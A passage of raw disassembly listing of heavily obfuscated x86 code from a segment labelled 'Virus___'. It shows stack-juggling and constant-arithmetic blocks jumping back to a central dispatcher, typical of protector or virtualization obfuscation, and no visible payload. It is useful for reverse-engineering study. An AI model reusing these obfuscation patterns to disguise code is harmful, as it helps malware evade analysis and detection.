--------------------------------------------------------------------------- loc_5776DB: ; CODE XREF: Virus___:0057662Cj add eax, 4 jmp loc_572D2C ; --------------------------------------------------------------------------- loc_5776E5: ; CODE XREF: Virus___:005732F4j push edi mov edi, esp push eax mov eax, 7A771631h not eax inc eax add eax, 7A771635h add edi, eax pop eax add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] jmp loc_575E44 ; --------------------------------------------------------------------------- loc_57770B: ; CODE XREF: Virus___:0057734Fj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_577710: ; CODE XREF: Virus___:0057EA72j mov [esp], esi jmp loc_5740CA ; --------------------------------------------------------------------------- loc_577718: ; CODE XREF: Virus___:00577951j pop edi xchg esi, [esp] pop esp jmp loc_573484 ; --------------------------------------------------------------------------- loc_577722: ; CODE XREF: Virus___:00573448j sub esi, 2E8152CCh add esi, 67233A8Ah add esi, edx sub esi, 67233A8Ah jmp loc_57C345 ; --------------------------------------------------------------------------- loc_57773B: ; CODE XREF: Virus___:00577CBAj pop edi add edx, 2 sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov ax, [esp] jmp loc_5780F0 ; --------------------------------------------------------------------------- loc_57775C: ; CODE XREF: Virus___:0057B682j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_577761: ; CODE XREF: Virus___:00579E0Bj pop ebx shr eax, 0Eh xor eax, ecx xchg eax, ebp sub esp, 4 jmp loc_578878 ; --------------------------------------------------------------------------- loc_577773: ; CODE XREF: Virus___:0057DF47j pop edi add eax, edx push dword ptr [esp] jmp loc_575BC8 ; --------------------------------------------------------------------------- loc_57777E: ; CODE XREF: Virus___:0057C58Bj push edi jmp loc_5791FC ; --------------------------------------------------------------------------- loc_577784: ; CODE XREF: Virus___:00573C5Bj sub esp, 4 jmp loc_579F98 ; --------------------------------------------------------------------------- loc_57778F: ; CODE XREF: Virus___:005768AEj mov [esp], edx jmp loc_57B3B4 ; --------------------------------------------------------------------------- loc_577797: ; CODE XREF: Virus___:0057E3F9j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57779C: ; CODE XREF: Virus___:00575948j sub eax, 0CEA2652h jmp loc_572E73 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx push esp pop ecx push eax push esi mov esi, 79174475h sub esi, 66F912D3h jmp loc_57B78C ; --------------------------------------------------------------------------- loc_5777BF: ; CODE XREF: Virus___:0057B9C0j add ebx, edx mov edx, [esp] add esp, 4 add ebx, 63CB52A1h shl ebx, 7 push esi mov esi, 75EC5503h and ebx, esi jmp loc_57A734 ; --------------------------------------------------------------------------- loc_5777E0: ; CODE XREF: Virus___:00577C4Aj sub eax, 43197481h xor eax, 7BAE5B71h inc eax add eax, 39FB2578h push ebp mov ebp, 9CC46F5Ah add eax, ebp jmp loc_579B77 ; --------------------------------------------------------------------------- loc_5777FD: ; CODE XREF: Virus___:0057B9B4j mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_5785BB ; --------------------------------------------------------------------------- loc_57780D: ; CODE XREF: Virus___:005784A8j sub eax, 0D66F3332h add ecx, 7A231BF4h add ecx, eax sub ecx, 7A231BF4h pop eax add ecx, 4 xchg ecx, [esp] jmp loc_57BA0A ; --------------------------------------------------------------------------- loc_57782F: ; CODE XREF: Virus___:0057496Ej pop esp mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp sub esp, 4 jmp loc_5745BA ; --------------------------------------------------------------------------- loc_577847: ; CODE XREF: Virus___:0057B9F4j push ax mov ah, 0A8h add bh, ah jmp loc_5768CC ; --------------------------------------------------------------------------- loc_577852: ; CODE XREF: Virus___:0057AC10j mov ebx, [esp] add esp, 4 push ebx push esi push ecx mov ecx, 3DD804F3h mov esi, ecx jmp loc_57915C ; --------------------------------------------------------------------------- loc_577867: ; CODE XREF: Virus___:00573F2Aj shl edx, 8 add edx, 0F264F23h add edx, 1ED105E1h add ebp, edx jmp loc_572C80 ; --------------------------------------------------------------------------- loc_57787D: ; CODE XREF: Virus___:0057EC3Bj add edx, 0CD788619h and edx, 280A00A7h xchg esi, edx jmp loc_57EAE0 ; --------------------------------------------------------------------------- loc_577890: ; CODE XREF: Virus___:00575F32j sub eax, 47DC2093h push edi mov edi, 3AB067DDh jmp loc_5786D0 ; --------------------------------------------------------------------------- mov cx, [esp] push ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push edx jmp loc_574D75 ; --------------------------------------------------------------------------- loc_5778BC: ; CODE XREF: Virus___:0057BEDEj push ebx mov ebx, 4 add ecx, ebx pop ebx add ecx, 4 jmp loc_57A330 ; --------------------------------------------------------------------------- loc_5778CD: ; CODE XREF: Virus___:0057BCB1j inc ebp push esi mov esi, 0 jmp loc_57D81E ; --------------------------------------------------------------------------- loc_5778D9: ; CODE XREF: Virus___:0057A271j add edx, ebp pop ebp add edx, 2 xchg edx, [esp] pop esp sar dword ptr [esp], cl pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_5778EF: ; CODE XREF: Virus___:0057E09Fj and eax, 55FC46D8h jmp loc_57C1B7 ; --------------------------------------------------------------------------- loc_5778F9: ; CODE XREF: Virus___:00577300j pop ecx push eax mov eax, 40376B31h add eax, 0E856ACCBh add ebx, eax pop eax add ebx, ecx sub ebx, 288E17FCh push 4DB3h mov [esp], edx mov dh, al mov [ebx], dh pop edx mov ebx, [esp] add esp, 4 jmp loc_57B83D ; --------------------------------------------------------------------------- loc_57792B: ; CODE XREF: Virus___:00573DB7j mov edx, ebp mov ebp, [esp] add esp, 4 add [esp+4], edx pop edx push dword ptr [esp] jmp loc_57E8F6 ; --------------------------------------------------------------------------- loc_577943: ; CODE XREF: Virus___:00573329j add esi, 4 push edi mov edi, 4 add esi, edi jmp loc_577718 ; --------------------------------------------------------------------------- loc_577956: ; CODE XREF: Virus___:0057DC13j push ecx mov ecx, 1ACD31C6h or ecx, 333C3A89h inc ecx shl ecx, 5 xor ecx, 4A393DFFh or ecx, 73714EA1h sub ecx, 1A8BEA2Dh add ecx, 7AD92EACh sub esi, 1255297Bh add esi, ecx add esi, 1255297Bh pop ecx add ecx, esi pop esi push ebp jmp loc_575E28 ; --------------------------------------------------------------------------- loc_577996: ; CODE XREF: Virus___:00577D27j mov eax, [esp] add esp, 4 pop dword ptr [esp] jmp loc_57E565 ; --------------------------------------------------------------------------- loc_5779A4: ; CODE XREF: Virus___:00579793j push ebp mov ebp, 37D77DA8h sub esi, ebp pop ebp pop edx push esi push dword ptr [esp+4] jmp loc_57B667 ; --------------------------------------------------------------------------- loc_5779B8: ; CODE XREF: Virus___:00578452j add esi, ecx add esi, 4C260949h pop ecx push ebp jmp loc_57A4A5 ; --------------------------------------------------------------------------- loc_5779C7: ; CODE XREF: Virus___:005739C9j push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_577035 ; --------------------------------------------------------------------------- loc_5779D4: ; CODE XREF: Virus___:0057D580j push ecx jmp loc_5769A4 ; --------------------------------------------------------------------------- loc_5779DA: ; CODE XREF: Virus___:005750E9j add eax, 2 xchg eax, [esp] pop esp sub esp, 2 mov [esp], dx push 251Eh mov [esp], ebx mov bh, 50h mov dh, 0F6h xor dh, bh pop ebx jmp loc_57A699 ; --------------------------------------------------------------------------- loc_5779FC: ; CODE XREF: Virus___:0057347Fj add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_57729F ; --------------------------------------------------------------------------- loc_577A10: ; CODE XREF: Virus___:00574AF4j mov ecx, 4 sub edi, ecx push dword ptr [esp] pop ecx add esp, 4 push edi jmp loc_57C3CF ; --------------------------------------------------------------------------- loc_577A24: ; CODE XREF: Virus___:0057490Ej add ebx, edi pop edi add ebx, 4 xchg ebx, [esp] jmp loc_57C4EE ; --------------------------------------------------------------------------- loc_577A32: ; CODE XREF: Virus___:0057D9BAj push edx jmp loc_5794CD ; --------------------------------------------------------------------------- loc_577A38: ; CODE XREF: Virus___:0057A100j shr edx, 1 cmp eax, edx jz loc_5734A5 push 2C8Bh mov [esp], edx push eax jmp loc_57D68B ; --------------------------------------------------------------------------- loc_577A50: ; CODE XREF: Virus___:00574D45j xor ebx, 39A00209h add ebx, 55DE19ECh xor ebx, 5E0C4C30h add edi, ebx mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_57D489 ; --------------------------------------------------------------------------- loc_577A7F: ; CODE XREF: Virus___:00574106j sub edx, 0A6882A1Bh sub ebx, 28DB335Dh sub ebx, edx jmp loc_57DE1A ; --------------------------------------------------------------------------- loc_577A92: ; CODE XREF: Virus___:005758BEj mov ebx, esp push ecx mov ecx, 49B44EA9h shr ecx, 4 sub ecx, 55583722h or ecx, 4BDA4E7Ah neg ecx jmp loc_57ABD1 ; --------------------------------------------------------------------------- loc_577AB0: ; CODE XREF: Virus___:0057D882j add al, bl pop ebx sub al, dl sub al, 17h mov edx, [esp] push edi jmp loc_57415E ; --------------------------------------------------------------------------- loc_577AC0: ; CODE XREF: Virus___:00575CDFj mov [esp], eax push 4B677AB5h jmp loc_5763A1 ; --------------------------------------------------------------------------- loc_577ACD: ; CODE XREF: Virus___:00577622j add edx, 14461052h sub edx, 1A410015h add edx, eax add edx, 1A410015h jmp loc_57CD2D ; --------------------------------------------------------------------------- loc_577AE6: ; CODE XREF: Virus___:0057C9BAj pop eax add edi, 4 xchg edi, [esp] pop esp push 15D0h mov [esp], ebp push esp mov ebp, [esp] jmp loc_572E90 ; --------------------------------------------------------------------------- loc_577AFF: ; CODE XREF: Virus___:00579FBBj add edx, 4 add edx, 4 push edx jmp loc_576683 ; --------------------------------------------------------------------------- loc_577B0E: ; CODE XREF: Virus___:00574AE6j mov edi, 2 jmp loc_578A93 ; --------------------------------------------------------------------------- loc_577B18: ; CODE XREF: Virus___:0057B1A7j mov esi, 4E3C2096h jmp loc_573664 ; --------------------------------------------------------------------------- loc_577B22: ; CODE XREF: Virus___:005734E5j mov esi, [esp] push edi jmp loc_57854B ; --------------------------------------------------------------------------- loc_577B2B: ; CODE XREF: Virus___:0057D903j pop ebx xchg eax, [esp] pop esp jmp loc_578CD5 ; --------------------------------------------------------------------------- loc_577B35: ; CODE XREF: Virus___:0057CDF9j pop ebp pop esi inc esi xor ebp, esi xor esi, ebp xor ebp, esi xchg ebp, edi dec edi shr edi, 4 xor edi, 72A67FF7h add ebx, 0E7913B9h add ebx, edi sub ebx, 0E7913B9h mov edi, [esp] jmp loc_572F65 ; --------------------------------------------------------------------------- loc_577B60: ; CODE XREF: Virus___:00573086j push 6B11h mov [esp], eax jmp loc_576960 ; --------------------------------------------------------------------------- loc_577B6D: ; CODE XREF: Virus___:00573DF6j push 3D18h jmp loc_57E1E5 ; --------------------------------------------------------------------------- loc_577B77: ; CODE XREF: Virus___:00573EB9j push ecx mov ecx, 4 add [esp+4], ecx pop ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 push edx mov edx, esp jmp loc_578924 ; --------------------------------------------------------------------------- loc_577B96: ; CODE XREF: Virus___:00574DADj pop esi neg eax xor eax, 73056F64h add eax, 3C8B6BDCh jmp loc_57D11F ; --------------------------------------------------------------------------- loc_577BA8: ; CODE XREF: Virus___:0057D43Bj mov eax, esp push ecx push 56241483h pop ecx shr ecx, 6 and ecx, 69643AD5h push edx jmp loc_57A702 ; --------------------------------------------------------------------------- loc_577BC0: ; CODE XREF: Virus___:0057DA6Aj xor edx, ebx pop ebx sub edx, 14144F82h jmp loc_57C3EC ; --------------------------------------------------------------------------- loc_577BCE: ; CODE XREF: Virus___:0057E0CCj xchg edi, ebx not edi xchg edi, ebx sub ebx, 0FFFFFFFFh and ebx, 21443512h jmp loc_574FB0 ; --------------------------------------------------------------------------- loc_577BE2: ; CODE XREF: Virus___:005768C7j mov ebx, 2 mov eax, ebx jmp loc_575905 ; --------------------------------------------------------------------------- loc_577BEE: ; CODE XREF: Virus___:0057A769j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_57AAFA ; --------------------------------------------------------------------------- loc_577C02: ; CODE XREF: Virus___:00576128j add edx, ebp pop ebp xchg edx, [esp] pop esp sub esp, 4 mov [esp], ebp push esp pop ebp add ebp, 4 jmp loc_57318D ; --------------------------------------------------------------------------- loc_577C1C: ; CODE XREF: Virus___:00573D9Bj mov edx, [esp] add esp, 4 push 2E09h mov [esp], esi push edx jmp loc_577601 ; --------------------------------------------------------------------------- loc_577C30: ; CODE XREF: Virus___:005753D3j neg esi neg esi add esi, 0FA27E5DFh mov eax, esi pop esi add edi, eax jmp loc_5769C2 ; --------------------------------------------------------------------------- loc_577C44: ; CODE XREF: Virus___:0057B9A7j push eax mov eax, 59C52DDCh jmp loc_5777E0 ; --------------------------------------------------------------------------- loc_577C4F: ; CODE XREF: Virus___:00574159j push edx not byte ptr [esp+1] pop edx sub dh, 0C0h sub al, 0Bh add al, 59h jmp loc_577ED8 ; --------------------------------------------------------------------------- loc_577C61: ; CODE XREF: Virus___:00574351j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_577C66: ; CODE XREF: Virus___:00579A2Dj push eax jmp loc_57A1C2 ; --------------------------------------------------------------------------- loc_577C6C: ; CODE XREF: Virus___:00576FB9j mov ebx, 0A8E2203h jmp loc_57C524 ; --------------------------------------------------------------------------- loc_577C76: ; CODE XREF: Virus___:0057DA40j not edx jmp loc_573217 ; --------------------------------------------------------------------------- loc_577C7D: ; CODE XREF: Virus___:0057800Cj sub ecx, 32194FECh sub ecx, 0CF969C14h sub edx, 2BD12680h sub edx, ecx add edx, 2BD12680h jmp loc_57C036 ; --------------------------------------------------------------------------- loc_577C9C: ; CODE XREF: Virus___:0057900Bj sub ebx, edi jmp loc_575347 ; --------------------------------------------------------------------------- loc_577CA3: ; CODE XREF: Virus___:005757D3j pop esp push ebx jmp loc_574900 ; --------------------------------------------------------------------------- loc_577CAA: ; CODE XREF: Virus___:00574817j mov [esp], edi push ebp jmp loc_574236 ; --------------------------------------------------------------------------- loc_577CB3: ; CODE XREF: Virus___:00576E8Aj mov edi, 4 add edx, edi jmp loc_57773B ; --------------------------------------------------------------------------- loc_577CBF: ; CODE XREF: Virus___:00578347j add ebx, 28D16A66h jmp loc_575913 ; --------------------------------------------------------------------------- loc_577CCA: ; CODE XREF: Virus___:00578582j add esi, ecx pop ecx sub esi, 63421A16h xor esi, 35B99D3Fh mov edi, esi pop esi add edx, edi push dword ptr [esp] mov edi, [esp] jmp loc_57CCB7 ; --------------------------------------------------------------------------- loc_577CE9: ; CODE XREF: Virus___:0057A6CAj pop dword ptr [esp] mov esp, [esp] imul cx, ax push cx pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_577CFB: ; CODE XREF: Virus___:0057E1E0j mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_5747D8 ; --------------------------------------------------------------------------- loc_577D0E: ; CODE XREF: Virus___:0057447Dj movzx eax, al mov dx, [esp] jmp loc_577456 ; --------------------------------------------------------------------------- loc_577D1A: ; CODE XREF: Virus___:0057E061j sub esp, 4 mov [esp], eax push dword ptr [esp+4] jmp loc_577996 ; --------------------------------------------------------------------------- loc_577D2C: ; CODE XREF: Virus___:0057EAD0j sub [edi+24h], ebx pop ebx loc_577D30: ; CODE XREF: Virus___:00573F7Dj push 5FFEh mov [esp], ecx mov ecx, ebx sub esp, 4 jmp loc_579E69 ; --------------------------------------------------------------------------- loc_577D45: ; CODE XREF: Virus___:0057413Ej add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] xor bl, al movzx eax, al mov dx, [esp] push edi mov edi, esp push esi mov esi, 4 jmp loc_57E725 ; --------------------------------------------------------------------------- loc_577D70: ; CODE XREF: Virus___:00576FC8j mov [esp], esi jmp loc_574F56 ; --------------------------------------------------------------------------- loc_577D78: ; CODE XREF: Virus___:0057E375j push 1CCh mov [esp], esi jmp loc_575FA0 ; --------------------------------------------------------------------------- loc_577D85: ; CODE XREF: Virus___:00575CA4j push 64D4h mov [esp], edx push eax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_577D94: ; CODE XREF: Virus___:0057BDD1j sub esi, 77CE448Eh sub esi, eax add esi, 77CE448Eh sub esi, 26745CFEh push dword ptr [esp] jmp loc_574B3F ; --------------------------------------------------------------------------- loc_577DB0: ; CODE XREF: Virus___:0057CDBDj pop ebx xchg esi, [esp] jmp loc_579B5C ; --------------------------------------------------------------------------- loc_577DB9: ; CODE XREF: Virus___:0057D422j pop esp push dword ptr [esp] mov ecx, [esp] add esp, 4 push 3F9Eh jmp loc_57EE66 ; --------------------------------------------------------------------------- loc_577DCD: ; CODE XREF: Virus___:0057A819j add eax, ebx push 0A0Eh mov [esp], esi jmp loc_576CE4 ; --------------------------------------------------------------------------- loc_577DDC: ; CODE XREF: Virus___:0057C36Ej mov esi, esp jmp loc_572D5D ; --------------------------------------------------------------------------- loc_577DE3: ; CODE XREF: Virus___:0057352Ej mov ax, [esp] push 4433h jmp loc_577E0A ; --------------------------------------------------------------------------- loc_577DF1: ; CODE XREF: Virus___:0057C7F4j mov [esp], edi mov edi, 4ED02E92h add edi, 1 or edi, 21566118h jmp loc_57D4CB ; --------------------------------------------------------------------------- loc_577E0A: ; CODE XREF: Virus___:00577DECj mov [esp], esi mov esi, esp push ecx jmp loc_57B7E8 ; --------------------------------------------------------------------------- loc_577E15: ; CODE XREF: Virus___:0057884Bj mov [esp], ebp push esi mov esi, 2EF6047Ah push edx mov edx, 6CB6726Ch mov ebp, 42407612h xor ebp, edx pop edx xor ebp, esi mov esi, [esp] jmp loc_576E8F ; --------------------------------------------------------------------------- loc_577E36: ; CODE XREF: Virus___:0057627Aj or eax, eax jnz loc_57BC7E push edi push 1 mov edi, [esp] push ebp jmp loc_57DE07 ; --------------------------------------------------------------------------- loc_577E4D: ; CODE XREF: Virus___:0057A2FEj sub ebp, 9172F0Ah jmp loc_5762DA ; --------------------------------------------------------------------------- loc_577E58: ; CODE XREF: Virus___:0057BEBAj add esi, edi pop edi jmp loc_57A1D3 ; --------------------------------------------------------------------------- loc_577E60: ; CODE XREF: Virus___:00578692j mov dl, 0C9h sub dl, bl jmp loc_57C6B5 ; --------------------------------------------------------------------------- loc_577E69: ; CODE XREF: Virus___:0057C978j pop edx add edx, 4 push 2F78h mov [esp], ebx mov ebx, 4 add edx, ebx mov ebx, [esp] add esp, 4 jmp loc_57C359 ; --------------------------------------------------------------------------- loc_577E8A: ; CODE XREF: Virus___:00578A07j pop eax push ebp mov ebp, 0FF4275Bh add ebp, 3C8A618Ah jmp loc_57C541 ; --------------------------------------------------------------------------- loc_577E9C: ; CODE XREF: Virus___:00577F27j add ecx, edi jmp loc_575C82 ; --------------------------------------------------------------------------- loc_577EA3: ; CODE XREF: Virus___:0057899Dj push eax mov eax, 2B509E6h jmp loc_57C7F9 ; --------------------------------------------------------------------------- loc_577EAE: ; CODE XREF: Virus___:005799B5j push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_57A972 ; --------------------------------------------------------------------------- loc_577EC0: ; CODE XREF: Virus___:00577569j mov edi, 1DF2439Dh push ebx jmp loc_575406 ; --------------------------------------------------------------------------- loc_577ECB: ; CODE XREF: Virus___:00578B3Dj xor [esp+4], ebp mov ebp, [esp] push ebp jmp loc_57CC98 ; --------------------------------------------------------------------------- loc_577ED8: ; CODE XREF: Virus___:00577C5Cj sub al, dh sub al, 59h add al, 0Bh jmp loc_573BAA ; --------------------------------------------------------------------------- loc_577EE3: ; CODE XREF: Virus___:0057C9C4j shr ebp, 1 inc ebp jmp loc_57641C ; --------------------------------------------------------------------------- loc_577EEB: ; CODE XREF: Virus___:0057B2ECj mov esi, 1BA5566Bh mov ebx, 9443A2F9h sub ebx, esi pop esi xor ebx, ebp pop ebp and eax, ebx push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 push edx jmp loc_57C9D2 ; --------------------------------------------------------------------------- loc_577F0D: ; CODE XREF: Virus___:00577549j mov ebp, ecx mov edx, ebp push dword ptr [esp] jmp loc_57EF14 ; --------------------------------------------------------------------------- loc_577F19: ; CODE XREF: Virus___:0057C075j mov [esp], edi jmp loc_579FFF ; --------------------------------------------------------------------------- loc_577F21: ; CODE XREF: Virus___:00575753j push edi mov edi, 4 jmp loc_577E9C ; --------------------------------------------------------------------------- loc_577F2C: ; CODE XREF: Virus___:00576C12j sub ebx, esi pop esi push 171Bh mov [esp], ebx pop dword ptr [edx+30h] mov ebx, [esp] add esp, 4 popa popf retn ; --------------------------------------------------------------------------- jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_577F48: ; CODE XREF: Virus___:00573BF9j add cl, dl jmp loc_575782 ; --------------------------------------------------------------------------- loc_577F4F: ; CODE XREF: Virus___:00574CDFj add eax, 0DC1DFF23h add ecx, eax mov eax, [esp] add esp, 4 jmp loc_5799D0 ; --------------------------------------------------------------------------- loc_577F64: ; CODE XREF: Virus___:0057697Aj mov ch, 6Bh add ch, dl pop edx shl ch, 8 sub ch, 0BDh push ebx mov bh, 1 inc bh jmp loc_57B541 ; --------------------------------------------------------------------------- loc_577F79: ; CODE XREF: Virus___:0057A7E9j mov edx, 223F4172h xor edx, 3BE03040h add edx, 1562126Fh push 0 jmp loc_57806A ; --------------------------------------------------------------------------- loc_577F94: ; CODE XREF: Virus___:0057A8FDj mov edx, [esp] add esp, 4 mov bh, ch mov ecx, [esp] add esp, 4 jmp loc_575EA4 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_577FBC: ; CODE XREF: Virus___:0057CF42j push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5745DF ; --------------------------------------------------------------------------- loc_577FCD: ; CODE XREF: Virus___:00578E52j mov ecx, 67E49D6h jmp loc_57AC27 ; --------------------------------------------------------------------------- loc_577FD7: ; CODE XREF: Virus___:0057A8A2j mov [esp], edi mov edi, esp jmp loc_574C01 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push 3E80h mov [esp], ebx push esp mov ebx, [esp] jmp loc_573543 ; --------------------------------------------------------------------------- loc_577FFB: ; CODE XREF: Virus___:00576A15j mov ecx, 63C82FD9h shr ecx, 1 dec ecx xor ecx, 23457402h shr ecx, 3 jmp loc_577C7D ; --------------------------------------------------------------------------- loc_578011: ; CODE XREF: Virus___:0057EB86j xor bp, 4FFEh pop ecx xor ax, bp jmp loc_57E0D1 ; --------------------------------------------------------------------------- loc_57801F: ; CODE XREF: Virus___:005769BDj pop esp pop dword ptr [esp] pop esp mov ax, [esp] push edi mov edi, esp add edi, 4 sub edi, 4 push edi jmp loc_57409C ; --------------------------------------------------------------------------- loc_57803D: ; CODE XREF: Virus___:00575517j mov ebx, 4 add esi, ebx pop ebx xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_578DF1 ; --------------------------------------------------------------------------- loc_578053: ; CODE XREF: Virus___:00576295j mov dl, 5Fh sub dl, 0B7h and dl, 8Ah push 13A9h mov [esp], ebx mov bh, 0B9h jmp loc_57544B ; --------------------------------------------------------------------------- loc_57806A: ; CODE XREF: Virus___:00577F8Fj sub [esp], edx pop edx inc edx push eax mov eax, 51C249AFh or edx, eax pop eax xor edx, 0D1FE7DEBh add ebp, edx pop edx add ebp, 4 xchg ebp, [esp] jmp loc_57CD5E ; --------------------------------------------------------------------------- loc_57808C: ; CODE XREF: Virus___:0057A5CAj xor [esp], ebp xor ebp, [esp] pop esp jmp loc_57AC02 ; --------------------------------------------------------------------------- loc_578098: ; CODE XREF: Virus___:0057D7ACj add eax, 1F3709B6h jmp loc_57E1AC ; --------------------------------------------------------------------------- loc_5780A2: ; CODE XREF: Virus___:005752FBj push dword ptr [esp] mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ecx jmp loc_5788E9 ; --------------------------------------------------------------------------- loc_5780C1: ; CODE XREF: Virus___:0057CB8Bj add esi, 0E093E02Ch jmp loc_57CA25 ; --------------------------------------------------------------------------- loc_5780CC: ; CODE XREF: Virus___:00575E09j push ebx mov ebx, 4 add ebp, ebx pop ebx sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push ebx mov ebx, 383103B0h inc ebx not ebx jmp loc_5776B0 ; --------------------------------------------------------------------------- loc_5780F0: ; CODE XREF: Virus___:00577757j push ebp jmp loc_572CA9 ; --------------------------------------------------------------------------- loc_5780F6: ; CODE XREF: Virus___:0057A9AFj sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, esp push ebx mov ebx, 1BE6250Fh push ecx push 1A6322AFh pop ecx push ebx mov ebx, 44CA42D1h xor ecx, ebx pop ebx sub ebx, 2F267483h add ebx, ecx add ebx, 2F267483h pop ecx shl ebx, 4 and ebx, 78E327F5h add ebx, 0D71FFF34h add ecx, ebx pop ebx sub ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_57366B ; --------------------------------------------------------------------------- loc_57814A: ; CODE XREF: Virus___:0057E6B9j mov edx, 31434A4Bh add edx, 0F2F9B5FEh xor ebp, edx pop edx and ebp, 65453F9h jmp loc_5758ED ; --------------------------------------------------------------------------- loc_578163: ; CODE XREF: Virus___:00579ADAj pop ebp pop dword ptr [esp] pop esp bts [esp], ax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_578173: ; CODE XREF: Virus___:0057DC32j sub ebx, 0F6C6C08Ah sub edi, ebx pop ebx xor edi, 7F5B5B80h shr edi, 2 push esi jmp loc_5739F7 ; --------------------------------------------------------------------------- loc_57818B: ; CODE XREF: Virus___:005747CCj not edi sub edi, 43B0939h push ebx mov ebx, 311D1577h and edi, ebx pop ebx dec edi sub edi, 3110102Ch add esi, edi mov edi, [esp] jmp loc_573B73 ; --------------------------------------------------------------------------- loc_5781AD: ; CODE XREF: Virus___:00576572j push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_573175 ; --------------------------------------------------------------------------- loc_5781C1: ; CODE XREF: Virus___:0057C8FEj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_5781C6: ; CODE XREF: Virus___:00578215j push edx jmp loc_57843B ; --------------------------------------------------------------------------- loc_5781CC: ; CODE XREF: Virus___:0057CA04j pop esi shl edi, 8 push edx mov edx, 1B3834BCh inc edx shl edx, 7 push eax mov eax, 6D9D5B13h jmp loc_57EB56 ; --------------------------------------------------------------------------- loc_5781E5: ; CODE XREF: Virus___:00573CCDj add ebp, 0E847CC14h and ecx, ebp pop ebp shr ecx, 7 push dword ptr [edi+1Ch] push dword ptr [esp] pop eax push ecx sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_57847B ; --------------------------------------------------------------------------- loc_57820C: ; CODE XREF: Virus___:00579464j mov eax, [esp] add esp, 4 jmp loc_5781C6 ; --------------------------------------------------------------------------- loc_57821A: ; CODE XREF: Virus___:00576D16j not ebp and ebp, 345D5F78h dec ebp not ebp push edi mov edi, 1 sub ebp, edi pop edi push ecx mov ecx, 7F993978h not ecx add ecx, 3CD66B7h add ecx, 57AFB7AFh add ebp, 38806D8Fh jmp loc_579BA1 ; --------------------------------------------------------------------------- loc_57824D: ; CODE XREF: Virus___:005738D4j pop ebx jmp loc_579237 ; --------------------------------------------------------------------------- loc_578253: ; CODE XREF: Virus___:0057E41Ej shl ecx, 4 sub ecx, 0F83BBACCh add edx, ecx pop ecx push edi mov edi, 4 add edx, edi jmp loc_576922 ; --------------------------------------------------------------------------- loc_57826C: ; CODE XREF: Virus___:00574F61j mov esi, 23D63241h sub ebp, esi jmp loc_57A653 ; --------------------------------------------------------------------------- loc_578278: ; CODE XREF: Virus___:00579BD5j push esp mov eax, [esp] add esp, 4 jmp loc_57CB52 ; --------------------------------------------------------------------------- loc_578287: ; CODE XREF: Virus___:00575A67j push ebp mov ebp, esp jmp loc_577427 ; --------------------------------------------------------------------------- loc_57828F: ; CODE XREF: Virus___:00578D54j mov [esp], eax jmp loc_5732CA ; --------------------------------------------------------------------------- loc_578297: ; CODE XREF: Virus___:0057B4B0j pop ebx sub ebp, ecx pop ecx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], eax jmp loc_5729F6 ; --------------------------------------------------------------------------- mov edx, [esp] sub esp, 4 mov [esp], ebp jmp loc_57324B ; --------------------------------------------------------------------------- loc_5782CD: ; CODE XREF: Virus___:0057E82Cj xchg esi, [esp] pop esp mov [esp], edx mov edx, esp push ebp mov ebp, 545108F1h neg ebp inc ebp xor ebp, ecx xor ecx, ebp xor ebp, ecx jmp loc_57931F ; --------------------------------------------------------------------------- loc_5782EA: ; CODE XREF: Virus___:0057CA55j add edx, esi pop esi mov esi, [esp] add esp, 4 sub eax, edx push dword ptr [esp] jmp loc_57A96C ; --------------------------------------------------------------------------- loc_578300: ; CODE XREF: Virus___:00579600j mov ebx, [esp] add esp, 4 jmp loc_57A868 ; --------------------------------------------------------------------------- loc_57830B: ; CODE XREF: Virus___:00573773j pop bx push ecx mov ch, 8Bh shl ch, 2 add ch, 2Dh xor ch, 86h shl ch, 3 shr ch, 8 sub esp, 4 mov [esp], ebx push edx mov dh, 0F9h jmp loc_579300 ; --------------------------------------------------------------------------- mov ax, [esp] push 3022h mov [esp], edi jmp loc_57CD14 ; --------------------------------------------------------------------------- loc_57833E: ; CODE XREF: Virus___:0057D414j push ebx mov ebx, 0D35ED897h xor eax, ebx pop ebx jmp loc_577CBF ; --------------------------------------------------------------------------- loc_57834C: ; CODE XREF: Virus___:0057E272j add 